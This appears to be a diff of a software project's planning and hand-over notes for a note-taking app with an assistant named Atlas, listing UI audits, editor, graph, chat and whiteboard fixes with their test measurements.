-| Auto-closing pairs, Enter indentation, format document or selection, quick fixes | Done (code editor agent: 48 of 48 in `doccodeedit.js`, 39 tests; HISTORY "code documents as a code editor, part two") |
-| Indent and dedent across the app | Done: note surfaces (Tab bridge), board and map text, documents (code: indent unit and Shift+Tab; prose: the editor's own Tab); chat and single-line fields keep Tab as focus movement on purpose (a keyboard user's way out) |
-| Phone designed on purpose; responsive at every resolution | Done for 390, 768 and 1024 (`phonechrome.js`, 0 findings; touch.js clean); 1280, 1920 and 2560 measured with no horizontal overflow on any tab |
-| De-vibecode all the UI, surface by surface, not one fix and stop | First pass done on every surface in the audit order below (Notes, dashboard incl. widgets and empty notebook, chat, graph, Library, timeline, reminders, every Settings pane, Finder, palette, notifications, menus, confirm dialogs, lock screen, boot splash, empty states); second pass on the Library, documents, notes and chat running (agent) |

-| More integration between features (INBOX 393) | Partial: Ask Atlas on every object (notes, documents, boards, maps, reminders, files as of 2026-09-23, one wording and glyph, `test_object_actions.py`); the consistency table is WORLD_CLASS_PLAN 1.3; left: the rows that table marks open (Remind me beyond notes, Show in graph for documents, the Library note card's Remind me and Link to) |
-| Glass on every surface when glass is on | Done: graph dock and panels, chat composer; a sweep of every positioned surface on every tab with notifications, Find and Settings open (Classic, glass on) finds none translucent without blur; the dock menus are opaque on purpose (`--modal-bg-opaque`, legibility over the editor) |
-| Gaps between stacked elements | Done: offline notices; a flush-sibling sweep over every tab and six Settings panes finds only hairline-divided list rows, which are flush by design |
-| Micro-conventions (double-click rotate handle to reset, and the rest) on board, map, documents and every surface | Placed (WHITEBOARD_PLAN, Placed from INBOX 2026-09-23); next agent |
-| Suite too slow | Done (parallel, 25 to under 9 minutes) |
-| CI red on Python 3.13 | Done: vault key leak between tests, a create_all race (a lock on the singletons), 3.13's JSON trailing-comma position |
-| Graph: Documents switch did nothing; options panel arrows and field height | Done |
-| Settings: "?" buttons misaligned and missed; pane titles; section headers; flattened badges hard to read | Done: one right edge for every "?", a title on every pane, item rows with a hierarchy |
-| Guided tour broken past slide one | Done: re-enabled; overlays closed before each step, phone steps point at More, a fixed counter, typing left alone; `tour.js` 118 of 118 steps at 1440, 1184 and 390 (`archive/agent-remaining/tour.md`) |
-| Second de-vibecoding pass of the whole app, especially the Library; micro-conventions everywhere; optimisation | In progress: orchestrator did Settings (intros, pane titles), Finder, palette, notifications, lock screen, Timeline rows, graph options heads, reminders rows, dashboard tiles; Library/documents/notes/chat pass merged (list conventions 18 of 18); Guide panel and IA read, map culling, Ask citations agents running |
-| Agents commit often so nothing is lost | Done (agents told; the hourly check-in merges gated agent commits and pushes) |
-| Chip colours; Atlas personality; code completions (Emmet `!`, CSS values, inline); radial More menu; dashboard head; link pill corners; page shine (INBOX 394) | Done (head at the fold reverted at the owner's word) |
-| VS Code features: language-aware Ctrl+/, Emmet beyond HTML, rename tag, swatches, hover docs, guides, symbols, Alt+Z, sticky scroll (INBOX 402) | Done (codecomplete agent) |
-| Code files: snippets, Run with a console, go to definition, find across documents (INBOX 404) | Done for JS and HTML. Open: Python Run via a Pyodide download extra and TypeScript via a vendored type-stripper (recommendations taken per standing order 3; next agent slot) |
-| Prose files: grammar (Harper), suggestion mode, read aloud, accessibility check, Word round trip (INBOX 401, 404) | Done (proseeditor agent) |
-| Menus with bad widths, spacing, alignment; the trust bar (INBOX 403) | Done for menus: 325 findings to 0 (`menus.js`), arrow keys and focus in every menu; the bar stands for every pass |
-| Pan glitches from style invalidation, app-wide; architecture review (INBOX 400) | Done: review in ANALYSIS.md; Notes 61 to 28ms, Library 283 to 32ms, Timeline 89 to 46ms; hover filters gone |
-| World class plan rows left; hole poke; installer and update paths; component refinement (INBOX 399) | Update paths verified end to end; package-check workflow added; hole poke and polish agents running; WORLD_CLASS_PLAN row check done 2026-09-24 (table B) |
-| Finder headings; back-to-top hover; jump-to-latest flicker; user bubble; model chip and picker with no model; avatars; translation (INBOX 405) | Done. Open: avatars beyond personas (graph people, the user's own mark); translate a text selection (queued) |
-| Guide help: more topics, better offline answers (INBOX 406) | Done (top-1 49% to 99%). Open: docs/*.md as a second source, blocked on packaging `docs/` |
-| Empty chat scrolls; jump pill on an empty chat (INBOX 407) | Done |
-| Graph similarity lines unreadable; no reset to defaults (INBOX 412) | Done: top 2 matches per note, crossings 1,701 to 39, hover scores, a strength slider, Reset to defaults with Undo |
-| Split app.js and other large files further | Splits agent running (documents, whiteboard, one app.js surface) |
-
-**De-vibecode audit order** (each surface: list every finding first, then
-fix them all, then the next): Notes (list, capture, write, ask), dashboard,
-chat, graph, Library (every sub-tab), documents editor, board, map,

All three parts, with measurements in INBOX 238: the card clips its own text (`min-height: 0` plus `overflow: hidden` on `.wb-card-content`, and the "Show more" decided by the box rather than by a character count); the expanded set is in `localStorage`; and the export's line budget comes from the card's measured height (7 lines collapsed, 22 expanded, both were 6) with a `--warn` line in the dialog naming how many notes are collapsed. | done |
-| ~~246~~ | **Done 2026-09-20.** Maps' own reference nodes counted (`_board_reference_rows`, both tables, one reader), `GET /entries/reference-counts` and the chip row on the card measured in Chromium (`refchips.js`), Connections telling maps from boards and listing every reference the chip counts. Record in HISTORY's INBOX 246. | done |
-| ~~232~~ | **Mostly already built; measure before building any of it.** Checked on the branch head 2026-09-19 (`scratchpad` sweep, one document holding all of them): tables render as 6 `.cm-md-td` cells with **0 pipes on screen**, callouts as 2 `.cm-md-callout` lines with a label and **0 `[!note]` markers**, task lists as 2 real `<input type="checkbox">` with **0 `- [ ]` brackets**, and an image as a drawn `.cm-md-image` with **0 `![...]` syntax**; strikethrough, highlight, footnotes and maths all carry their marks too. The two things that were genuinely wrong are fixed: the code fence's empty rows (706e2af) and the chips that broke in half when they wrapped (2b94271). This row was stale, and rebuilding from it would have been the fourth time this project rebuilt something that existed. **Closed 2026-09-20.** The one line of the brief nobody had checked, "a header row with the language and a copy button", was measured before being written and is built: `renderMarkdown`'s `.code-bar` has carried the language, Copy and Save since INBOX 172, and a document with a `python` fence and an unlabelled one draws 2 bars, 4 buttons and the labels `python` and `code`. The live view keeps the corner label and no button, by the decision now in DOCUMENTS_PLAN section 15 (a control inside a contenteditable is a caret trap; the row it would hang from is 8px tall against a 36px line, measured, and that smallness is the 2026-09-19 fix). What the measurement found instead was the glyph in those labels, a typed `⧉` on a Copy button in an app that ships `ph:copy`: fixed at both call sites and added to `tests/test_no_glyph_icons.py`. `scratchpad/ui-sweeps/doccodecopy.js`, 11 of 11. | done |

Record in HISTORY's INBOX 253. | done |
-| ~~225~~ | **Done 2026-09-21.** The row was half right: the "the AI" half was swept and linted a week earlier, and the lint has held it since. "The assistant" was never covered, and eight pieces of copy still said it, five of them the Tools and features descriptions a person reads while learning the app. Reworded to name Atlas, and `tests/test_ai_name.py` now carries the second phrase, proved against a reintroduction.

-| DOCUMENTS_PLAN | ~~Phase 4~~ closed 2026-09-20: the templates gallery was verified by `scratchpad/ui-sweeps/doctemplates.js` (six templates, each with a description), and item 5's daily notes were built from the decision in DOCUMENTS_PLAN section 14 and measured by `docdaily.js`, 11 of 11 (7 templates with Daily, the document titled with the ISO day, 0 "start today's note" offers beside a day already written as a document). What is left: the Phase 2, 6 and 8 tails and the engine's three deliberate omissions, in this file's Documents section. Everything else this row used to list was built or already existed: the Library's property filter, outline reorder with folding and a filter box, the command palette and shortcut sheet from one table, version history with its diff and its AI filter, the per-hunk AI diff, reading typography and the print stylesheet (all 2026-09-20 or earlier, each with its probe named in HISTORY.md). |
-| UI_MODERNISATION_PLAN | ~~Phase 8's docks over the seven-control ceiling~~: re-measured 2026-09-20 (`docks.js` at 1440): notes 6, graph 6, library 5, chat 4, timeline 4, reminders 4, and only `#wb-topbar` at 13, which the plan names as the menu-bar exception (Insert, Edit, Arrange, View, Board on the dock's zones). Done. Phase 11, the phone done properly: items 1, 2, 3, 5 (its share sheet half), 6, 8 and 9 were built on 2026-09-20, and items 4 (the graph: the hold that opens the node menu and arms the lasso, the controls as one sheet) and 7 (the whiteboard and the map: two fingers for the camera, the tools as a sheet, the board bar at the touch floor) on the same day, each with its own gate in `scratchpad/ui-sweeps/` (`graphphone.js`, `wbphone.js`). Item 5's reader full screen with a bottom bar was built on 2026-09-20 (`scratchpad/ui-sweeps/libreader.js`, the sheet recipe's `page` variant, and a pane-grid bug it found that was wrong at every width under 1100). Item 9's hover-only half was swept properly on 2026-09-20 (`scratchpad/ui-sweeps/hoveronly.js`: 45 reveal rules, eleven stops, `hover: none` emulated and each candidate tapped) and the two it found were both a `hover: none` override written a class short of the rule it had to beat, so neither had ever applied. Item 11's two open gates were closed on 2026-09-20: errors.js was already clean at 390, and contrast.js, which took no viewport and had only ever run at 1440x900, now takes one, reaches Settings the way a phone reaches it, reports how many text elements it measured (which caught the whiteboard being in its tab list with no tab page to open, so it had been measuring an empty window at every width) and comes back 0 low-contrast over 33 surfaces at 390, 820 and 1440 in light and dark. Item 7's leftovers at 820 were measured and fixed in the same pass. What is left of the phase: item 11's screenshot set for the owner. |
-| GRAPH_PLAN | ~~All four~~ **stale, checked 2026-09-23**: Phase 5's real gap (a saved view restoring unpinned positions) was built 2026-09-21 and the `?since=` cursor is left until something polls, both on the plan's Phase 5 row; Phase 6 was measured built on 2026-09-20 (this file's Graph section); the local pane's switches are left by the 2026-09-13 decision; 6b the minimap was built 2026-09-13 (`minimap6b.js`). The one line the plan still held, a lasso selection dragging as one, was built 2026-09-23 (`oi-groupdrag.js`). |
-| WHITEBOARD_PLAN | Decision 7's other half; the phone context bar comparison; sketch handles at zoom; the arrange panel items. |
-| MINDMAP_PLAN | The mapux agent's leftover list (this file's Mind map section). |
-| CHAT_PLAN | ~~Phase 1's other half, which note grounds a sentence~~ built 2026-09-20 (the fixtures exist, 18 of 18 attributed, was 17 of 18); ~~Phase 1's fourth gate line~~ built 2026-09-21 and its replay tail 2026-09-23, so Phase 1 is closed; Phase 4's harness items were closed 2026-09-20, and what is left is its `evals` breadth (WORLD_CLASS_PLAN 9). |
-| TIMELINE_PLAN | ~~Section 7's two measurements~~ taken 2026-09-20, and both found a bug: the density strip hid on a note count (it hid a profile of 150 notes and showed a comb of 200) and the table drew no title column at all between 600 and 1024. Both fixed and re-measured. Section 7's third line, the "auto" scale thresholds, wants a real notebook and is left. |
-| AGENT_SKILLS_REFORM | ~~Phase D verified against a real model, which needs WORLD_CLASS_PLAN section 9's dev-only runner first.~~ **Done 2026-09-20.** The runner is `scratchpad/llama-dev.sh` and the gate is `tests/test_skills_evals.py`, four `evals` tests that skip at collection without a model: 3 passed and 1 skipped against Qwen2.5-1.5B-Instruct Q4_K_M through llama.cpp, with the skip itself the finding (the run stalled on step 1's `list_tags` contract and said so, rather than ticking it). Record in HISTORY's "Moved from the plans, 2026-09-20". What is left is breadth, and it sits in WORLD_CLASS_PLAN 9: the same gate at 3B and 4B, and an eval each for the rest of CLAUDE.md section 4's unproven list. |
-| WORLD_CLASS_PLAN | **Row check done 2026-09-24 (INBOX 399).** Every row read against the code; the built ones moved to HISTORY's "Moved from the plans, 2026-09-24", each open row carries a "State 2026-09-24" line, and the ranked list of 38 is at the top of the plan's section 8. The top ten, by impact: F3 `semantic_search` reading every vector per request; Brief 15's LAN hardening (S1 to S3, S5, S6); B2 durable jobs; D2's connections rail (and 261's `/resurface/near`); I1's night runs and morning card; chunk vectors then I6's evidence cards; I3's questions view; `similar_pairs` cached for link suggestions and tensions; D5 typed properties on notes; the S-sized section 1 lints. Fixed during the check: 283, 285, the Most used widget's picker line, Download .md on a locked notebook, and `/files/gallery`'s paging (F2's frontend half). Built 2026-09-24 after it: row 1 (F3, `semantic_search` on the matrix), row 9 (`similar_pairs` cached) and row 2 (S1, S2, S3, the rest of S5, S6's redirect half, `/debug/health` paths; left `tests/test_lan_mode.py` and the LAN offer). |

-  `buildMenuGroupButton` reparents the flyout to `<body>` so it can escape the
-  menu's clipping, which is why `row.closest("details")` is null and why
-  opening the `<details>` off the row opened nothing. The probe now opens
-  `#doc-dock-menu` by its own id and clicks the trigger, matched by its label
-  rather than by position, because three groups are folded into that menu
-  ("Download or print", "Editor and layout", "While you write") and the
-  download one is not the first. A new assertion holds that the group opened
-  before the row is clicked, so this cannot rot silently again. Measured
-  against a live app on the branch head: 7 of 7 pass, 0 console errors.

-- **The document surface's aliases have no lint.** A call site that hands the
-  surface to something expecting a DOM element reads as correct and fails at
-  runtime (`autoGrow` wrote `style.height` on it and every "/" command in the
-  capture box threw). Next step: fail on `autoGrow(`, `mountGutterFor(`,
-  `syncDocGutterMetrics(` or `watchDocGutter(` called with an identifier the
-  same function received as a surface. [documents-engine.md]
-- ~~**The table cell menu is a `kebabMenu` with ten items and no grouping.**~~
-  **Built 2026-09-20, as the change to the shared recipe this row said it was.**
-  An item may carry `group`, a name, and `kebabMenu` draws a hairline wherever
-  it changes; the name is not printed, because a heading over every three rows
-  makes this menu seventeen rows tall. Measured: 10 items, 3 hairlines at 1px
-  by 172px, 10 `menuitem` roles and 3 `separator` roles, and `wireMenuKeyboard`
-  walks `[role="menuitem"]` so a hairline is never a keyboard stop. In
-  DESIGN.md's recipe index with a ratchet in `tests/test_ui_recipes.py`.
-  [documents-phase4.md]
-- ~~**Atomic ranges, the `Mod+click` affordance and the toolbar's own
-  state**~~ **All three decided 2026-09-20, DOCUMENTS_PLAN section 16,
-  `scratchpad/ui-sweeps/doctoolbarstate.js` 21 of 21.**
-  **The toolbar's state is built**: `renderDocToolbarState` resolves one
-  syntax node at the caret and walks its ancestors, so the cost is the depth
-  of the markdown and not the length of the document. Measured at eleven
-  stops: h1, nothing, bold, italic, code, h2, ul, task, ol, quote, link, each
-  with nothing else lit; 17 of the strip's 41 `data-md` buttons carry
-  `aria-pressed` and the other 24 are the ones that always insert something
-  new. **Atomic ranges: decided against, and the measurement contradicts the
-  note that asked for them.** The caret visits offsets 29 to 36 in order
-  across `**a bold run**`, moving 10, 5, 9, 8, 11, 5 and 12 pixels: no
-  two-character jump anywhere. What does reproduce is different and bigger:
-  the reveal is per *line*, so entering that line moves the rest of it by
-  41px (x=779 to x=820). Atomic ranges would not touch that and would take
-  away the marker you can put the caret between, which Phase 2 built on
-  purpose. **If the shift is reported, the fix is a narrower reveal, not
-  atomic ranges.** **`Mod+click`: the note is out of date**; a chip carries
-  `cursor: pointer` and `title="Ctrl+click to open <url>"`, which names the
-  chord and the destination. Left unbuilt on purpose. [documents-engine.md]
-- **Outline rows are 24 to 25.2px, under the app's own 28px floor.**
-  `frontend/css/05-sidebars-themes.css`, `.outline-link`
-  (`padding: 0.15rem 0.25rem` plus a 0.85rem line) against DESIGN.md's
-  `--target-min: 1.75rem`. Left deliberately: 24px is WCAG 2.2 AA's own floor
-  and raising it costs three headings of visible outline. Next step: a
-  density-aware rule (compact keeps 24, comfortable and spacious take 28) or a
-  touch layout for the sidebar, which is UI Phase 9's territory.
-  [doc-sidebar.md]
-- **The rest of the app's viewport popups have not been measured with the
-  background art on.** Still open, but **the blocker is gone**: this row used
-  to sit behind "the trigger cannot be reproduced in this sandbox", and that
-  is now known to be false. With `data-bg-art="on"` a `.card` reports
-  `backdrop-filter: blur(14px) saturate(1.5) brightness(1.02)` in this
-  Chromium, and a `position: fixed` child written to `left: 0; top: 0` inside
-  `.card.doc-main` lands at x=293 against the card's own x=292, so the card is
-  its containing block and the real property traps a real popup. `kebabMenu`
-  (`wireEscapedActionMenu`) and the toolbar dropdowns (`clampToolbarMenu`) are
-  covered; the chat dock's popovers, the selection popup, the whiteboard's
-  context menu and `.wb-board-menu` (`escapeAndCapMenu`) are not.
-  **What the next session needs, and what cost this one the item**: the sweep
-  is four openers and four selectors, and guessing them produced four failures
-  that were the probe's and not the app's, which is worse than no sweep. Find
-  each opener in the page first. One is already established: the selection
-  popup cannot be raised from the capture box at all, because
-  `SELECTION_POPUP_EXCLUDED` in app.js is
-  `"input, textarea, [contenteditable], .selection-popup"`, so it needs a
-  selection over *rendered* text. Then assert the two things `spellwide.js`
-  asserts, the parent and the trap, and report a popup that would not open as
-  not measured rather than as passing. [editor-intelligence.md]
-- ~~**`clampToolbarMenu`'s comment says the trigger cannot be reproduced
-  here, and that is now out of date.**~~ **Corrected 2026-09-20**, with the
-  measurement in the comment itself: with `data-bg-art="on"` the card reports
-  `backdrop-filter: blur(14px) saturate(1.5) brightness(1.02)` and a
-  `position: fixed` child written to `left: 0; top: 0` inside `.card.doc-main`
-  lands at x=293 against the card's own x=292, so the card is its containing
-  block and the trap is live on the real property. The `filter: saturate(1)`
-  stand-in's numbers are kept beside it as the same fault measured twice.
-  [editor-intelligence.md]
-- **The word menu measures its own width before it is placed.** A
-  `position: fixed` box with `left` set and no `right` is shrink-to-fit, so a
-  menu with long candidates opened near the right of a narrow card can render
-  narrower than the width the placement was computed from. Not observed (every
-  case measured sat at the 15rem minimum). Next step if a report arrives:
-  measure at `left: 8px` first, then place. [editor-intelligence.md]
-- **A finding below the editor's visible box gets a menu drawn over its own
-  word.** Measured in `spellwide2.js`'s table-cell case: the word sits at
-  `655..707` in an editor whose visible box ends at `572`, and the menu is
-  placed at `440..717`. The sweep reads that as a 0px gap and passes. Two
-  things to decide: why `docRevealForSuggest` did not bring that word in (a
-  table cell's mark may measure outside the scroller the reveal scrolls), and
-  that a placement must never cover the rect it is anchored to, which is worth
-  an assertion of its own in both sweeps. [editor-intelligence.md]
-- ~~**The writing-suggestion underline is the only surface with no hover
-  affordance.**~~ **Built 2026-09-20.** A tint in the kind's own colour, 12%
-  mixed against the page rather than stated as an alpha, so it composes on
-  either theme's ground and follows `[data-contrast="on"]`'s redefinition of
-  `--error`, `--accent` and `--muted` with no branch of its own. A tint and
-  not a thicker line, because the three kinds are told apart by the *shape* of
-  their underline and thickening one moves it towards another's. Measured as a
-  painted colour under a real pointer, `scratchpad/ui-sweeps/findinghover.js`:
-  `rgba(0, 0, 0, 0)` at rest in both themes, `srgb 0.725 0.110 0.110 / 0.12`
-  hovered in light and `srgb 0.973 0.443 0.443 / 0.12` in dark, which is each
-  theme's own `--error`. [prose-intelligence.md]
-- ~~**`docFindingAtPoint` walks every mark on every pointer event**~~
-  **Timed 2026-09-20, and it is not a problem.** With 96 marks on screen (a
-  3,763-word document written to fill the viewport with them), a *miss*, which
-  is the expensive case because it walks every mark and calls
-  `getClientRects()` on each, takes **0.207ms** in light and 0.212ms in dark;
-  a hit takes 0.03ms. Linear in the marks, so the row's own 200-on-screen gate
-  extrapolates to about 0.43ms, still inside a pointer event's budget. The
-  assertion is in `findinghover.js`, so a change that makes it expensive fails
-  there rather than being felt. No cache built. [prose-intelligence.md]
-- ~~**The three finding kinds are named in two places**~~ **Held together by a
-  lint, 2026-09-20.** `tests/test_ui_recipes.py` now reads both tables and
-  fails if they differ, and checks that each kind has an underline rule in
-  `docCmTheme`. The two failures it prevents are silent ones: a kind in
-  `docFindingKind` alone draws its own squiggle and then falls into no group
-  in the panel, which looks like a finding the panel has lost; a kind in
-  `DOC_FINDING_GROUPS` alone draws a heading that can never have a member.
-  Proved against a simulated drift rather than assumed.

 ## Graph
 
-- **The graph export writes its styles with `setAttribute("style")`, which
-  the CSP refuses element by element** (`frontend/graph.js:4016`,
-  `graphInlineComputedStyle`). Measured 2026-09-26 (`cspprobe.js`, in the
-  review): under `style-src 'self'` the attribute string is kept and
-  serialises, so the exported picture is right, but the browser logs
-  "Refused to apply inline style" once per element of the clone, hundreds of
-  console errors for one export of a large graph, and any inline style the
-  page itself needed on those nodes is dropped. The fix is one line's shape:
-  `cloneEl.style.setProperty(prop, value)` per property writes the same
-  attribute through the CSSOM, which the CSP allows. Not changed in the
-  review because graph.js was another agent's file that night. [graph.md]
-- ~~**The options panel scrolls again at 1440x900.**~~ **Fixed, 2026-09-20.**
-  It had grown to 655px of list in a 488px box (Show had gone from 143 to 211
-  as three switches were added). Physics, Groups and Minimap are each a
-  `details.settings-fold` now, closed by default and remembered; GRAPH_PLAN's
-  "Decision made, 2026-09-20" carries why Physics joined the two on record.
-  Measured with `scratchpad/ui-sweeps/graphoptfold.js`: 451 in 451 at 1440 and
-  at 1024, nothing scrolling; 669 in 488 with all three open, scrolling inside
-  the panel. At 390 the panel still scrolls (795 in 286, from 1071), which is
-  the phone's own 286px cap, not the panel's size. [graph.md]
-- ~~**`/graph/local` has no Show switches.**~~ **Left, on the decision already
-  on record, 2026-09-20.** Read again against the code: `graph_local`
-  (`src/memorymap/api/routes_graph.py`) takes `depth` and `similarity` and
-  nothing else, so the report is accurate. GRAPH_PLAN's "Decision made,
-  2026-09-13" decided it deliberately, and the reason holds: "off means the
-  thing is not on the map" is a statement about the picture of the notebook,
-  and the local pane is a neighbourhood of one note. A board two hops from
-  the note you are reading is part of that neighbourhood whatever the map's
-  own switch says, and hiding it would leave a hole in a path rather than a
-  smaller picture. Reopen this only if the owner asks for it; the switches
-  would then be four query parameters plus the `?include_*` plumbing the
-  top-level `/graph` already has. [graph.md]
-- ~~**GRAPH_PLAN Phase 5**~~ **triaged, 2026-09-20.** The backend fields,
-  the cached `/graph/structure` and the payload gate were built on 2026-09-09
-  (HISTORY, "Built, Phase 5 (backend)"); the two rows left open were re-read
-  against the code rather than started, and GRAPH_PLAN's Phase 5 row now
-  carries the finding. Positions on `/graph/views`: nothing to build as
-  written, because views are per-device localStorage by a decision in
-  `graph.js` itself and the positions that are notebook content (the pins)
-  are already on the Entry. `?since=`: still no caller, since every `/graph`
-  fetch is a `renderGraph()` behind a control or a tab activation, and a
-  parameter nothing calls is the second shape CLAUDE.md section 6 names. The
-  one real gap, on the plan's row now: a saved view does not restore where
-  the unpinned notes sat, so a force view reopens as a fresh solution of the
-  same forces. [graph.md]
-- ~~**The node popup redesign the owner names.**~~ **Measured and found
-  built, 2026-09-20.** GRAPH_PLAN Phase 6 and the three evening rows are all
-  three built; the measurements are in HISTORY under "Moved from the plans,
-  2026-09-20". At 1440 and 1024 the panel is 448x357 with nine actions in one
-  row, three groups, one filled (Open, read off the computed background), and
-  scrollHeight 355 against clientHeight 355, so it does not scroll; at 390 it
-  is a 362x468 sheet with the actions on three lines and neither the panel
-  nor the page scrolling. With an 88-character title the header stays 48px
-  tall, the title is one ellipsised line and the close button sits 14px in
-  from the panel's top right corner at both widths, which is the row the
-  owner reported. The action band is centred, the panel's full width, on the
-  chip fill with one hairline above. Nothing was changed. The agent popup,
-  which is what the owner's sentence names, is a different surface.
-  Found, not fixed: the plan's target says the Bin should be ghost and it
-  renders tonal like its eight neighbours, because a six-class rule paints
-  every `.icon-only:not(.ghost)` button tonal on purpose. Left as it renders:
-  one ghost button among eight tonal ones reads as disabled, and the gap of
-  its own is what sets it apart. [graph.md]
-- ~~**`graph.js`'s step 5 still fails**: "clear trace (a route was drawn:
-  false): NO CHANGE".~~ **Fixed in the sweep, 2026-09-20.** The cause is the
-  edge the trace step picks. It took the first edge on the canvas whose ends
-  are not category groups, and the canvas draws edges `/graph/path` cannot
-  route along: a similarity edge is not a connection anyone made, and an
-  entity or document edge does not even have an integer id, so that route
-  answers 422 and `runTrace` reports "the server didn't answer". Any of those
-  leaves no route on screen, and the *next* step then reported "clear trace:
-  NO CHANGE" as though the renderer had failed. The step now picks a `link`
-  or a `thread`, says which pair it chose, and when no route comes back it
-  fails there, in the app's own words, instead of one line later; clearing is
-  only asked about once there is something to clear. Measured on an 80-note,
-  150-link fixture: `5. trace between two notes (17 to 7, a link): redrew
-  PASS`, `5. clear trace: redrew PASS`, `findings: 0`. And measured the other
-  way, on the thirteen-note seed notebook, where the one link the seed makes
-  runs from a note to a board and the Boards switch is off, so no note-to-note
-  edge is on the map: one finding, "no link or thread edge on the map to
-  trace along: this notebook has no connection between two notes, so Trace
-  cannot be measured at all", which is the fact the old NO CHANGE was hiding.
-  [ui-phase-11.md]
-- **`graph.js` can be interrupted by a confirm dialog and die**, seen once in
-  three runs on the same fixture: after "legend filter off", `page.click
-  ("#graph-zoom-in")` timed out for 30 s against a `.modal-overlay
-  .confirm-overlay` that intercepts pointer events, and the sweep exited on
-  an unhandled TimeoutError with the eight steps after it unrun. Not chased:
-  it did not recur on either of the other two runs and nothing in this batch
-  touches it. Next step: have the sweep name the dialog's own text when one
-  is up, which is the one piece of evidence that run did not capture.
-- ~~**`scratchpad/ui-sweeps/selectfocus.js` fails twice on a notebook with
-  content.**~~ **Fixed in the sweep, 2026-09-20.** Reproduced first, on a
-  seeded notebook on this branch, exactly as reported. The app is right and
-  the sweep was wrong: `renderGraphViews` (graph.js) sets
-  `select.disabled = !views.length`, `enhanceSelect` mirrors that onto the
-  opener (`opener.disabled = select.disabled`), and the sweep asserted that
-  every visible enhanced select has a focusable opener. That is untrue of a
-  control the app has deliberately switched off. It passed on an empty data
-  dir because `renderGraphViews` only runs from the render path, which does
-  not run when there is nothing to draw, so the picker was never switched off
-  there and the assertion never met one. A disabled select is skipped now,
-  counted and printed as skipped, and what is asserted about it instead is
-  that its opener says disabled too, which is the real invariant. Two other
-  things came out of it: `document.body.focus()` does nothing (body has no
-  tabindex), so every "landed on" was measured against whatever the previous
-  row left focused, which is where the misleading "landed on SELECT.ghost"
-  came from; and the graph's options popover is now opened as well as its
-  `<details>` menus, because two selects live in it and whether it was open
-  was a remembered preference, so coverage was 13 selects on one run and 15
-  on the next. Measured: populated notebook 15 checked, 1 skipped, all pass;
-  empty notebook 16 checked, 0 skipped, all pass. [library-blockers.md]
-- ~~**INBOX 66: the lightbox the node panel opens is unreachable while the
-  graph is fullscreen.**~~ **Already fixed, and now measured, 2026-09-20.**
-  `.lightbox` carries `z-index: 1020` against the full-screen card's 1000
-  (02-chat-graph.css, with INBOX 66 named in its comment). Measured with
-  `scratchpad/ui-sweeps/graphfslightbox.js`, which is new: with the map in
-  full screen the lightbox builds at 1440x900, computes `z-index: 1020`
-  against the card's 1000, `document.elementFromPoint` at the centre of the
-  screen lands inside it (`DIV.lightbox-column`) rather than on the card, and
-  the close button has a box. The entry's own diagnosis was wrong in a way
-  worth keeping written down: it blamed the Fullscreen API, and this app's
-  full screen is a class with `position: fixed`, so nothing was ever in a top
-  layer and the whole of it was stacking order.
-  Found while measuring it, not fixed, and now INBOX 274: one Escape closes
-  the lightbox *and* leaves full screen. [visual-c.md]

 ## Chat and popup agent
 
-- **Review of the chat pass (9c8b373 to 835447d), the Library and Timeline
-  pass (2d42cd5 to d2bc42a) and 277ae31, 08cf260, 2026-09-27.** Line by line,
-  then measured against the running app. Fixed, each with a test that fails
-  without it: (1) a citation peek was out of the keyboard's reach (Enter,
-  then Tab, left the focus on the marks; `chatkeys.js`, part peek): Enter or
-  Space on a mark now moves the focus onto the preview, Tab reaches Open
-  note, and Escape hands it back to the mark without the mark's own focus
-  reopening the peek; (2) the stream's end took the focus into the box from
-  wherever the reader had gone (part focus: on New, before; kept, after);
-  (3) Escape stopped an answer still streaming into a chat the reader had
-  left (part hidden: stopped, before; still streaming, after); (4) a chat
-  opened before p5 had loaded started one sketch per reply (`emblemcold.js`:
-  40 to 1, none blank). Measured sound: Escape on the answer on screen
-  (45ms, `chataudit.js` keys), `citepeek.js` at 1440 and 390 all ok, the
-  tap box 23 by 44px (a tap 14px above or below the glyph and 6px either
-  side lands on it, 25px does not), `.is-choosing` in step through a tick,
-  Select all, Select none, a search that hides the ticked card (class and
-  bar both still say one), clearing the search and Done; one Tab stop for
-  the grid (three presses, card, tick and menu, then out); the Library sort
-  and the Timeline grouping, value and stand-in label, after a reload; the
-  tool row (switch 0px off the name's centre on six rows, a click on the
-  description toggles, 12 of 58 on "search", 0 of 58 with its empty line,
-  Tab from the filter lands on the switch). Read only: `budgetMs` (at
-  least one item a frame; the pump stops when the sentinel leaves and the
-  observer restarts it) and the dashboard's Atlas mark (`isAtlasSeed`
-  takes "Atlas" whatever the AI is called). [chat-b.md]

 - **The citation mark's touch box overlaps the lines above and below** (a
   decision to note, not a bug): the `::after` box is 44px tall around a
   13px glyph, so on a phone a tap within 14px above or below a mark opens
   the peek rather than acting on that line's text. By design (6df7310);
   worth a look on an answer dense with marks.
-- **A pinned peek outlives a Tab past its Open note.** With the focus in

-  measured fine (out of the centred column, popover 416x117 on top). Seen

 ## Whiteboard and mind map
 
-- ~~**Decision 7's other half: the quick-sketch pad still has its own copy of
-  the tool code.**~~ Done 2026-09-20. Decided in WHITEBOARD_PLAN decision 7
-  first (one table, two renderers; the pad stays a canvas), then built:
-  `HIGHLIGHTER_STYLE` plus `highlighterWidth()` and `highlighterBlend()` in
-  `app.js` (it is loaded first; `whiteboard.js` is lazy), read by the pad's
-  `sketchApplyBrush` and by whiteboard.js's live-draw, mouseup and render
-  paths. Measured light, same ink, two crossing strokes: the pad was paper
-  255.0, one pass 176.0, two passes 176.0 (the ink's own luminance, so no
-  translucency at all) and is now 255.0 / 223.7 / 199.2, against the board's
-  252.9 / 222.5 / 198.3. Two bugs the measurement found and fixed: picking a
-  colour swatch reset the tool to the pen, so the pad's highlighter could not
-  be reached at all after choosing an ink, and the board's saved strokes lost
-  their square cap on every render (round on both, square now).
-  `scratchpad/ui-sweeps/sketchparity.js`, 10/10 light and dark. Merged with
-  INBOX 265's own fix to the same tool (the stroke is painted whole on its own
-  layer and composited once, which is a better painter than the polyline this
-  agent wrote, so it is the one that survived) and one bug found in it while
-  merging: the layer scaled points that `sketchPointer` had already put in
-  canvas pixels, so every highlighter stroke landed 15px left and 9px up of
-  the pointer in the middle of the pad. Both sweeps are green on the merge,
-  `sketchhighlighter.js` (INBOX 265's, evenness and self-crossing: 0.4
-  everywhere, spread 0, junction 0.4) and `sketchparity.js` (this one).
-- ~~**Multiply is worth 3 luminance units on a dark board and 20 on a light
-  one.**~~ Done 2026-09-20, as recommended: `multiply` over a light backdrop,
-  `screen` over a dark one, written into decision 7 as a rule about the
-  backdrop rather than about the theme's name. Measured dark after: paper
